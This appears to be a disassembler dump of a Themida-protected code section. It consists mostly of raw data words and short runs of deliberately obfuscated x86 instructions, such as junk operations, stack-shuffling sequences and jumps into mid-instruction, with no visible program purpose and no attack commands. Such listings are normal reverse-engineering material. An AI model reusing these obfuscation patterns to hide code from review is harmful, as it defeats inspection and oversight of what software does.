		dd 70E6F8BFh, 6C0E62BFh, 0E971E476h, 11h, 0A11E3249h, 663CC5EEh
		dd 0E55A3607h, 9500E97Ch, 0D8B60F8Bh, 0DE853h, 1B410000h
		dd 0F32EED43h, 9D3BF05Ah, 0E9B9B657h, 0Fh, 0D888B24Dh
		dd 0B8DE740Fh, 578847C9h, 5F35627Bh, 0A1B58B5Fh, 0BA06112Ah
		dd 6, 8BF9B70Fh, 0DE8166C3h, 0E8C16CECh, 6860F04h, 89000000h
		dd 11081195h, 0E2F76606h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 80C35646h, 0D0F57096h, 0F706FF1h, 0D82BF6BFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0F1C35545h
		dd 19589F9h, 50061133h,	0FE960h, 30340000h, 5B3A6938h
		dd 0E4E412EBh, 83B40A86h, 0E952506Ch, 11h, 42D954F5h, 0C80F5C68h
		dd 45981686h, 35331C74h, 0E9310FE7h, 8,	8163E3EFh, 0B0F705C5h
		dd 8961585Ah, 6A241Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 45A02BC3h, 8818D50Ch, 85894D9Eh
		dd 61128D1h, 13A9B5FFh,	6A0611h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0CC061CC3h, 0FFF18B01h
		dd 1105C595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0BAF9F008h, 8D317A39h, 61106ADh
		dd 0FB8B00B0h, 6A70E6h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 893E76C3h, 11053585h, 6A71E406h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 8939C351h, 6810Fh, 9D310000h, 61129F9h, 3CFA8B66h
		dd 41830F61h, 6A000002h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 72FEC353h, 75958934h
		dd 0F061114h, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 4B7C7FC3h, 81D906A3h, 0ADBEC0F6h
		dd 6BA2Ah, 0BD890000h, 6113105h, 8D89C38Bh, 6112691h, 8B04E8C1h
		dd 111311B5h, 0E2F76606h, 0DBB70F60h, 29D82B61h, 1104D18Dh
		dd 6A5806h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 90714DC3h, 0B18509D2h, 8906110Eh,	1132B5BDh
		dd 0FD82B06h, 19388h, 1BD2300h,	0B906110Ah, 7, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 12C35040h, 8BCC4F18h
		dd 113169B5h, 0C18306h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0CCC35242h, 0CE3CED79h, 2C8D8589h, 0DF810611h
		dd 3484FD06h, 291B58Bh,	0D93B0611h, 126860Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 66CF4AC3h, 667504BEh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 7019CFC3h, 0AAF5C23Eh
		dd 0E7816604h, 0C1F6DF2Ah, 0C9840F04h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 381FC356h, 0EEB5465Eh, 89FC8091h, 11044995h,	0E7816606h
		dd 0BD8BEDFFh, 61125B5h, 219195FFh, 0BD890611h,	6111401h
		dd 12E95Bh, 5B250000h, 641AC4CCh, 791659B2h, 0B8117847h
		dd 9B42EA02h, 13E9C32Bh, 30000000h, 89478082h, 86D8590Ch
		dd 0DBFB80A6h, 0A3494FBBh, 343D0F7Ch, 0F000008h, 4B86h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 1CE73B22h, 0E9627234h, 2Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 69C35242h, 22BF7A14h
		dd 0B530BE66h, 8D89C08Bh, 6111BCDh
; ---------------------------------------------------------------------------


loc_58AC44:				; CODE XREF: Themida_:0058A7BEj
		mov	eax, ebx
		mov	ebx, eax
		call	sub_58AC5E
		outsb
		inc	esp
		mov	dl, 0F9h
		adc	al, 0Ah
		retf	62D6h
; ---------------------------------------------------------------------------
		dw 0E342h
		dd 0C61E9144h
; ---------------------------------------------------------------------------
		and	al, 86h

; =============== S U B	R O U T	I N E =======================================



sub_58AC5E	proc near		; CODE XREF: Themida_:0058AC48p
		call	near ptr loc_58AC6F+1
		sbb	eax, 10110085h
		inc	ebx
		rcr	bh, 1
		insb
		mov	dl, 31h
		pop	es


loc_58AC6F:				; CODE XREF: sub_58AC5Ep
		sbb	ebp, ecx
sub_58AC5E	endp ; sp-analysis failed

		or	al, 0
; ---------------------------------------------------------------------------
		db 0
		dd 1ABB6800h, 0B0A21491h, 7C0B8E48h, 0C75E5E57h, 112A0D85h
		dd 0EDBD7106h, 0DE816650h, 0C08B3F97h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 1CC35141h, 81FE8BEEh, 1113A9BDh
		dd 7D006h, 4C850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 42FCC350h, 0BAFDA66Dh
		dd 0C0A080C5h, 13A985FFh, 6A0611h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 966097C3h, 0FFF5DE10h
		dd 1113A9B5h, 8EBF6606h, 959589D2h, 0FF061126h,	1105C595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 852960EEh, 6112451h, 8B669061h, 0BDBD23F2h
		dd 6A061125h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 3CBCC350h, 56DAA80Fh, 8BC42D23h
		dd 112661BDh, 0DDBD8B06h, 0E806110Bh, 13h, 0A50BDDECh
		dd 0D2FD4EFBh, 290B61ECh, 4C4EA8C3h, 0E8D1B63Fh, 5, 72CCE960h
		dd 5F5FFC4Ah, 0B419D29h, 6A0611h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 414413C3h, 6A3D63BFh
		dd 0FC6E5A4h, 687h, 0A5BD8B00h,	0FC061121h, 8E0Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 63D0D7C3h, 0E8FED01Ch, 51006ADBh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 6AC26868h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0DA16C350h, 6A90CAF4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E91EC356h
		dd 47E333A2h, 0F7BF0F32h, 0FFF720E9h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 810B1948h, 0E51ECEDDh, 14E991F8h, 77000000h,	399802h
		dd 3 dup(0)
		dd 0E9000000h, 53Ah, 0D2B8B7ADh, 0B69C9350h, 98FEF16Ch
		dd 7ED4DB0Eh, 5D333C24h, 70F021CAh, 5F8F197Fh, 0BFA8FA50h
		dd 9E48DAB0h, 179BB91h,	817AE00Eh, 0FE2E67C9h, 0BC417B65h
		dd 0BAE001EAh, 0BDB2ACF6h, 0B9B6B7CDh, 0A8FA38F1h, 0A1C3B7B8h
		dd 0A0F2AEA1h, 9EC0A8A7h, 65D5DA04h, 0EF593C7Bh, 5022E3A9h
		dd 0D9909897h, 0BF4E4183h, 2CF1FE65h, 9A5CE7BDh, 0B7F1A7A8h
		dd 53D5BBB4h, 360E9F90h, 74D9A936h, 4D095ED2h, 0F11CEDFh
		dd 3E3132F4h, 131CCE58h, 8378B927h, 0AB348033h,	3316C7h
		dd 7ECF95E7h, 3D011F28h, 7E0FCD49h, 7F333C24h, 7308h, 8143D000h
		dd 28D87F8Eh, 4ACF968Dh, 300C919Eh, 0AE33A35h, 36745DEh
		dd 60243ACDh, 2E0FCDEFh, 1, 0D87B65FEh,	0A13F1312h, 0E6E95A2Ch
		dd 1351D907h, 0DCC2DBD4h, 75888746h, 0C67DA7CBh, 79E834C9h
		dd 548E97E6h, 0E35F512Ch, 960BBE6Ch, 0B93745CFh, 0FF157564h
		dd 0BAA64748h, 0AD707FE8h, 9EA9FFB3h, 0AEE4EB58h, 0E01C052h
		dd 0FB2941FFh, 0BE104649h, 75888743h, 0F7BC8F09h, 18E5EA5Bh
		dd 0CF883AD8h, 0BEA5FFB3h, 3DC7C1B1h, 82AD3E88h, 9530A6Eh
		dd 0EE36D7D8h, 5BA8757Ah, 0C5200205h, 82468083h, 0E35DC78Dh
		dd 1ACB11ECh, 0CC7A75F1h, 0C344D431h, 0CD8EF9DDh, 9BD90Fh
		dd 43670000h, 2F758887h, 90EC313Eh, 764E5F50h, 232C18F3h
		dd 15E866DAh, 0DF121DCFh, 0A75C7E89h, 509056D1h, 7B89F95Fh
		dd 77ADC5CAh, 232C18F3h, 0FBD4B025h, 2A58A1F3h,	303F247Eh
		dd 262173EDh, 46CD429h,	0D5DA0F55h, 0B875ECC8h,	96896797h
		dd 0D240FCCFh, 9240D7CBh, 91CF9689h, 0DFD01163h, 0F40F11CEh
		dd 1A2D83D6h, 0CDEE1004h, 6C7E0Fh, 430E0000h, 2F758887h
		dd 5947333Ch, 55719AFAh, 0C47C1637h, 71F6A7CBh,	0DAC4243Fh
		dd 5F8BA06Ch, 0F5934D50h, 3246DF05h, 197F70F0h,	0D80F65A7h
		dd 0EE3F3033h, 739C472h, 3D323173h, 8CB669E0h, 0E3ECF96h
		dd 0A4A0FC01h, 4F9952ABh, 0BCF296B4h, 0EF91B5ABh, 13C10FCDh
		dd 61000000h, 0A856F935h, 0BFCF9698h, 985C8A01h, 5DEBCF96h
		dd 0F65A7D5h, 16CAD3DCh, 0A05C062h, 54BFA9F3h, 9677E5EAh
		dd 0B929D4Eh, 0EBA93631h, 0E2998017h, 2E996492h, 7EEBC95Ah
		dd 7E71F200h, 43373824h, 61DC1A2Dh, 0AF09286Eh,	0BF888FFBh
		dd 84D5A754h, 9D4F9568h, 0F86ABC92h, 0FF69BBF7h, 7F332DF0h
		dd 4479ABAEh, 4EFBC985h, 0E460BC41h, 6BEC12EBh,	0C98544BBh
		dd 71073C48h, 0CB9DD4F6h, 434CFE38h, 0A6A99B0Dh, 0CCC37D47h
		dd 17107831h, 321817D1h, 0B172C8D6h, 2C20EF39h,	6EFEC644h
		dd 45B009DCh, 56000001h, 740E013Ch, 5EACC4CBh, 48386CB4h
		dd 0A7ACACC7h, 0FA03B1D5h, 9F4BA0A2h, 0FA2C6290h, 0CB41D748h
		dd 179964EAh, 50CEC17Dh, 68A8E6E0h, 0F696F543h,	5DB7EB82h
		dd 2E12EBE4h, 0C52E184Ah, 9240D71Ah, 91C98514h,	0A647F563h
		dd 4E889BCDh, 0B3BD939Ch, 9DC978Bh, 48C7h, 6BB49500h, 0DB17433Fh
		dd 968C86B4h, 156F9DCFh, 0E84F232Ch, 4F968C1Ah,	88CB0B29h
		dd 231DCD42h, 9E2A4F97h, 9C24AFF0h, 8AB89F6Eh, 0FB4F96C7h
		dd 3293A2A5h, 0D5252A66h, 92CF96C7h, 42D03066h,	52E68A85h
		dd 0A4h, 386CB4F8h, 977CC748h, 0D741D5A7h, 87B7D815h, 9CC98582h
		dd 1444F260h, 97984AD8h, 8582D200h, 512351C9h, 0D0009D92h
		dd 219D8158h, 8583002Eh, 81E907C9h, 0A8EEE163h,	3AC3CC7Eh
		dd 8583EA1Fh, 0F07325C9h, 56F93436h, 0C98582A8h, 0A79301BFh
		dd 8236E46Bh, 0BFCDC985h, 1CE495FBh, 98771848h,	8DCF9A95h
		dd 9456AE7Fh, 0DC73AF9Bh, 0CF92752Eh, 73ED8735h, 0FBBFA17Ch
		dd 616EDA22h, 8C83409Ch, 8AB5CF71h, 3B717885h, 899F0A28h
		dd 35614F7Eh, 323D2F45h, 0AE0D027Eh, 0BBD5A787h, 0A8757AE9h
		dd 0FA543AA8h, 48386CB4h, 0AB9FE8C7h, 0BE4FFDD5h, 0A5EBE466h
		dd 92CEC103h, 34C9C600h, 92B5640Ch, 90E953Eh, 1ED86B21h
		dd 3B6D232Ch, 9DE70609h, 0ED52ABA4h, 9C4E889Bh,	0F96BBD93h
		dd 0C94EBAF6h, 95FE8519h, 0FCF3762Eh, 0C7732A4Eh, 3, 43068695h
		dd 29738A85h, 97ED303Fh, 7A425B54h, 0DC38C5CAh,	4A926B64h
		dd 300C919Eh, 95EF3E31h, 7E46A7A8h, 3727C6C9h, 52E78957h
		dd 0CD78D4BAh, 0F9F2816Dh, 81797854h, 93198FE2h, 81D2F773h
		dd 0A62368EAh, 8EF28150h, 19EC8D4h, 0EF835AD7h,	243C8704h
; ---------------------------------------------------------------------------
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	581Bh
		mov	[esp], ebx
		push	ebp
		mov	ebp, 61512EEh
		push	ebp
		add	dword ptr [esp], 62734A67h
		pop	edx
		sub	edx, 62734A67h
		pop	ebp
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	2F26h
		mov	[esp], edx
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dw 915Dh
		dd 4C3F6295h, 7EB8F25Eh, 3061517h, 9AE0FFC5h, 0F0585AA0h
		dd 0FB191737h, 0EB7AA5F2h, 722757A1h, 1F50FB68h, 0A8253850h
		dd 8A642A9Eh, 5516C2BBh, 25392EC2h, 933F093Dh, 0B660D21Bh
		dd 0CD1C59A4h, 0B7619E56h, 832E3C37h, 4148CD7Dh, 7C1A07A3h
		dd 0A529F820h, 4670C288h, 82757B4Eh, 0C650ACC9h, 9034C3B9h
		dd 917F6F5Bh, 0B2175678h, 0E47052FEh, 84695EEBh, 0DB01ECE1h
		dd 0B25B699Eh, 0B600A158h, 0EE3317B9h, 8B558675h, 51006AC1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8B13BE62h, 1127F5B5h, 6DBD8B06h, 0EB061103h,	4, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 6CECEFC6h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ah,	93C35646h, 0D5379631h, 81669311h, 0F2491CEh, 68Ah
		dd 95BD0B00h, 8D061126h, 11279585h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 9B7EB3A1h
		dd 146F55F4h, 13E9h, 56168C00h,	93A20957h, 15ECE685h, 0CD5A4E8Eh
		dd 0B7E69E93h, 19850Fh,	0FE80000h, 72000000h, 0CF78F528h
		dd 42F945Ah, 3744698Ah,	0BF66D2A3h, 905EEC3Ch, 50F98B66h
		dd 14E8h, 13104100h, 0C2886CBDh, 3C3924CFh, 6E221B9Ah
		dd 0C255A912h, 0FE956DAh, 2C000000h, 0C935B547h, 0B83E269Ah
		dd 457F8229h, 5F5E2E41h, 50006A90h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 819589F8h, 6A061106h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0F0279544h, 0E312582Eh, 0BD8BF694h, 6110AA1h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 75902AC3h, 6BA75F2Fh, 8DF3B70Fh, 151B3385h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 7BF104ECh, 0E5B83A74h, 12E9h, 0ED1A9F00h
		dd 209B4A9Fh, 795B2043h, 0C6084992h, 83CE06FEh,	0BD2B05C0h
		dd 6113475h, 89F08B50h,	0B58B2404h, 6110311h, 9D31006Ah
		dd 61100C1h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 39D4F3C3h, 0DDDB533h, 95FF0611h
		dd 611075Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	29C35242h, 209D8D0Fh, 6A0614A4h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FF54C352h
		dd 7DBD8BD3h, 0FF061131h, 1107AD85h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B4C6AEC9h
		dd 585E70BFh, 6F3E97Ch,	0E80000h, 5D000000h, 1B3DED81h
		dd 85890615h, 61125F5h,	13A9BD81h, 7D00611h, 860F0000h
		dd 0EDh, 2A9B509h, 9D8B0611h, 6110E71h,	0CE9h, 0DA42A300h
		dd 4CBA2A78h, 5B34D34Bh, 0E3811Dh, 0F000001h, 38Fh, 0F9BF0F00h
		dd 850FDB0Bh, 55h, 54F6E681h, 0BD8311D2h, 61518D7h, 29840F00h
		dd 66000000h, 528DF81h,	48E9h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0AE246E5Ch
		dd 18D785C7h, 10615h, 0F510000h, 0E95EF8BFh, 15h, 861F2ABEh
		dd 0D785C748h, 61518h, 9000000h, 110D598Dh, 719D8D06h
		dd 6A06110Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 5B59C355h, 97ACC1C0h, 21659501h
		dd 81F90611h, 0FFFEFF23h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 71C22267h
		dd 0DB8C661Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0CEC35343h, 0B5BC8917h,	0F04C3F6h, 6184h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 43343BD9h, 0F122C414h, 219195FFh, 0DF810611h, 632D793Ah
		dd 52505250h, 47CDBF66h, 585A310Fh, 2404895Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6EC35747h, 0D739E128h
		dd 0FCE98280h, 0F000002h, 582h,	0DF816600h, 0B019F7h, 12CF8166h
		dd 8B70E6BEh, 112BB5BDh, 0F71E406h, 0DE9D8B6h, 6000000h
		dd 8E78FEE0h, 215FD9FBh, 0C5503293h, 6BAh, 0A5B58B00h
		dd 8B06111Bh, 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0A43191E1h, 21CB5B5Ah, 605360C7h
		dd 810F5E61h, 0
; ---------------------------------------------------------------------------
		popa
		mov	[ebp+6112901h],	ebx
		shr	eax, 4
		jl	loc_58B922
		mov	[ebp+6111EB5h],	ecx


loc_58B922:				; CODE XREF: Themida_:0058B916j
		mul	dx
		push	0
		push	edi
		call	sub_58B930
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B930	proc near		; CODE XREF: Themida_:0058B928p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_58B930	endp

; ---------------------------------------------------------------------------
		dd 0A565F4EBh, 65983655h, 9F5B58Bh, 0D82B0611h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 86C35141h, 890B003Fh
		dd 1120898Dh, 0EE89306h, 41000000h, 1233C33Ah, 0D1996C7Ch
		dd 1CB53C22h, 93505EA2h, 0A9B5FFFCh, 6A061113h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 1012C351h, 8B66D81Ah, 0C595FFF9h, 66061105h,	0B0F78Bh
		dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0C868EC3h, 666E154Ch, 0C22EDE81h,	8B6671E4h
		dd 0F613CFBh, 1A683h, 0A59D8900h, 0F06110Ch, 0B8BFD8B6h
		dd 0BA30CAF2h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	79C35747h, 0D4D6A4ADh, 0C38BC272h, 0C91B58Bh, 0E8C10611h
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 459D896Ah, 66061130h, 8B66E2F7h,	56D82BF3h
		dd 5FF2BF0Fh, 0F0BF0F58h, 880FD82Bh, 12Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F8C35242h, 7B9EFh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0C183CFC3h, 0AE800h, 83630000h, 0D290714Dh
		dd 4F618821h, 800F56h, 5E000000h, 0FD93B5Fh, 0CA86h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 4D421C55h, 336F8A5Ah, 8B66701Eh, 0D98C66FAh,	6880Fh
		dd 0BD8B0000h, 6111599h, 0F04C1F6h, 8284h, 0D9BD8900h
		dd 9061117h, 111DA1B5h,	9195FF06h, 6A061121h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 5B3AC356h, 7E8h, 2D4DE700h, 9B1523FEh, 2585895Eh, 8B061108h
		dd 0C32B5BF7h, 8BF7BF0Fh, 112AB5B5h, 8343D06h, 860F0000h
		dd 27h,	11E9h, 0DA4FF600h, 0B595A243h, 533B3EFBh, 0EAC41C57h
		dd 0EE815AF4h, 31A93F8Dh, 0EE9h, 0F9BD8B00h, 8B06112Dh
		dd 0D681C0h, 8B7128A9h,	6AD88BC3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 693DC355h
		dd 860F35h, 0C7000000h,	112DB585h, 0C07D9106h, 0AE97Bh
		dd 0B82C0000h, 82691097h, 0F4F5AC3Fh, 6AC08Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 3404C1C3h, 0D8BFF41Ah, 81505C8Eh, 1113A9BDh,	7D006h
		dd 32850F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 362FC355h, 8DD03B2h
		dd 0FF001F9Ah, 1113A985h, 3D958906h, 8B06110Ch,	0A9B5FFF0h
		dd 6A061113h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0D1E3C356h, 697389C4h,	0E9F78166h
		dd 0C595FF3Eh, 0F061105h, 48Eh,	59BE6600h, 8E9E4h, 0D08B0000h
		dd 3FE22CB7h, 6A9068CCh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 1384C352h, 886214D1h
		dd 98F0FE8h, 0F000000h,	386h, 0F5616000h, 6870Fh, 85890000h
		dd 6112AE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	9DC35343h, 7F7D67E9h, 2657CDD6h, 5858951h, 0BF06110Ah
		dd 994A436h, 199D8B60h,	0E9061113h, 14h, 2FB1EBD0h, 0BF4CCE5Bh
		dd 8C0D6FC4h, 0BF10BDAFh, 272ED978h, 13E95661h,	20000000h
		dd 0B3AFE2BCh, 6F3909ACh, 0DC5312E8h, 5D1D503Ah, 0BD8B2121h
		dd 6110D75h, 0E1BD8B5Eh, 3061131h, 112D9DBDh, 3DBD8B06h
		dd 89061106h, 1130C9BDh, 0FABF0F06h, 28F99589h,	0BD8B0611h
		dd 61102F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0F6C35343h, 0E39C43FCh,	0E888BF3Eh, 0CE81C2Ch
		dd 36000000h, 0E89D123Ah, 0A701D770h, 602CAAEDh, 8C0Fh
		dd 8D8B0000h, 61131F9h,	0BB5858Bh, 0B610611h, 110E59BDh
		dd 8C0F5E06h, 6, 0A53DD681h, 37E96296h,	6AFFFFF9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 951CC351h, 0BC28034Fh, 31FA8B2Ah, 1115AD85h,	6AC18B06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0D011C352h, 6672DD1Dh, 0EBF128BEh, 4, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0AF24355Eh, 840F63C5h, 6, 5BDB58Bh, 858D0611h, 6112795h
		dd 291920BEh, 8B565052h, 4895FF7h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0DCCB883Bh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 9FAE40C3h, 8BF8006Ah, 112B1DB5h, 0AE858D06h
		dd 66061523h, 0C083F08Bh, 118B0F05h, 0E8000000h, 5, 0B826BC44h
		dd 619D29C1h, 5E061120h, 6A905090h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 1075C352h
		dd 6D910527h, 0A5B41433h, 14E1B501h, 6A0611h, 0A4DBD8Bh
		dd 6A0611h, 0FCC68166h,	5D95FF13h, 6A061107h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0FB97C353h, 69ED9450h, 0BF0F9485h, 209D8DFFh, 8B0614A4h
		dd 51BD09F3h, 0FF06111Dh, 0BF0F53D3h, 85FF5FF1h, 61107ADh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7BC35242h
		dd 0F75A9875h, 9529C71Fh, 6110535h, 8BCE9h, 0E800h, 815D0000h
		dd 1523B8EDh, 0D840F06h, 60000000h, 64E78166h, 49DE818Dh
		dd 612045DEh, 13A9BD81h, 7D00611h, 860F0000h, 137h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 88C35646h, 1BF8737h
		dd 112D998Dh, 999D8B06h, 3061121h, 111F1DBDh, 0E38106h
		dd 0F8000001h, 850FDB0Bh, 99h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 82C35747h, 1422794Bh, 102AAEA5h
		dd 0D98D8982h, 83061131h, 152253BDh, 840F0006h,	36h, 2918589h
		dd 66E90611h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 971FC352h, 81ECF231h
		dd 8166A038h, 0F8660F7h, 85C7F8BFh, 6152253h, 1, 10E8h
		dd 0F7D04B00h, 54C0A895h, 2B31AEFAh, 1D88ADD5h,	16E95E85h
		dd 29000000h, 1125D595h, 5385C706h, 61522h, 89000000h
		dd 111DBD8Dh, 999D8D06h, 6A061121h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6A39C357h
		dd 10BC4E58h, 0F340784h, 158Bh,	10E900h, 210F0000h, 0B93694A3h
		dd 572B2BBFh, 8D792C84h, 23818F97h, 0FFFFFEFFh,	66F18B66h
		dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 50F30CC3h, 4C3F6BCh, 4F840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0F1F0F0C3h, 0B48D448Fh, 0E94199FCh, 14h, 3CD8BFB0h
		dd 49EC7A0Bh, 0ACDEC0D2h
		dd 0C28D120Ah, 0B38F3662h, 219195FFh, 9EBF0611h, 50318D8Eh
		dd 489F78Bh, 4DCE924h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 1B5C34C3h, 0CBA55B9Ch
		dd 0B589B67Bh, 6112969h, 6A00B0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0F2D04C3h, 949DD681h
		dd 0BE91D05h, 0BE000000h, 0F7A041Fh, 0EB6E8D06h, 70E65387h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0CC35040h
		dd 0BD8B1B1Eh, 6112141h, 0F98B71E4h, 6AD8B60Fh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0CDADC357h, 0BA4C1A1Ch, 6, 0DE9h, 5FBF0D00h,	90E8BD77h
		dd 0FF20C723h, 0C38BAE60h, 4E8C1F9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0D2C35747h,	0AAACFEACh, 326D16D5h
		dd 0CE8BAh, 135D0000h, 0A96B6618h, 0ECBCEA3Ch, 0BD8B14ABh
		dd 6111DADh, 0FE95Eh, 9E4F0000h, 69AE62CAh, 85FA1500h
